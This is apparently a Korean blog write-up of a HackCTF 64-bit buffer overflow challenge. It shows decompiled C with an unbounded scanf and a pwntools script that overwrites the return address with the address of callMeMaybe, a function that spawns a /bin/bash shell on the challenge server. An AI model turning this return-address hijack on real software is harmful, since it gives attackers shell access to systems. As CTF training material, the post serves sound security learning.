x64 Buffer Overflow 풀이

2021. 6. 16. 01:54HackCTF

728x90

문제 정보

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+10h] [rbp-110h]
  int v5; // [rsp+11Ch] [rbp-4h]

  _isoc99_scanf("%s", &s, envp);
  v5 = strlen(&s);
  printf("Hello %s\n", &s);
  return 0;
}
int callMeMaybe()
{
  char *path; // [rsp+0h] [rbp-20h]
  const char *v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]

  path = "/bin/bash";
  v2 = "-p";
  v3 = 0LL;
  return execve("/bin/bash", &path, 0LL);
}

이 코드들은 64bof_basic 파일에 있는 main, callMeMaybe 함수를 IDA를 사용하여 C로 변환한 코드입니다.

 

main 함수부터 설명하겠습니다.

char형 배열 s와 int형 변수 v5를 만듭니다.

그리고 s를 입력받습니다.

 

이제부터 차근차근 보겠습니다.

 

여기서 우리가 주목해야 할 부분은 "%s"입니다.

입력받는 문자열의 길이가 정해져 있지 않으니 Buffer Overflow를 낼 수 있습니다.

이때의 버퍼는 rbp-0x110입니다.

 

callMeMaybe 함수는 shell을 반환하는 함수인 것 같습니다.

 

그리고 Return Address는 rbp+0x8의 위치에 있으니 0x118(=280)까지 쓰레기 값을 채우고,

그 뒤를 callMeMaybe 함수의 주소 값으로 덮어 씌웁니다.

이렇게 되면 main 함수가 끝났을 때 정상적인 주소가 아니라 callMeMaybe 함수로 가게 됩니다.

 

(callMeMaybe 함수의 주소 값은 info function으로 찾으면 됩니다!)

 

from pwn import *

pause()

a=remote("ctf.j0n9hyun.xyz",3004)
b='a'*280+p64(0x400606)

a.sendline(b)
a.interactive()

이렇게 짜인 코드를 컴파일하고 실행해보겠습니다.

 

FLAG 획득 완료
문제 풀이 성공

 

 

728x90

'HackCTF' 카테고리의 다른 글

Simple_Overflow_ver_2 풀이  (0) 2021.07.14
x64 Simple_size_BOF 풀이  (0) 2021.07.13
내 버퍼가 흘러넘친다!!! 풀이  (0) 2021.07.12
Basic_BOF #2 풀이  (0) 2021.06.16
Basic_BOF #1 풀이  (0) 2021.06.15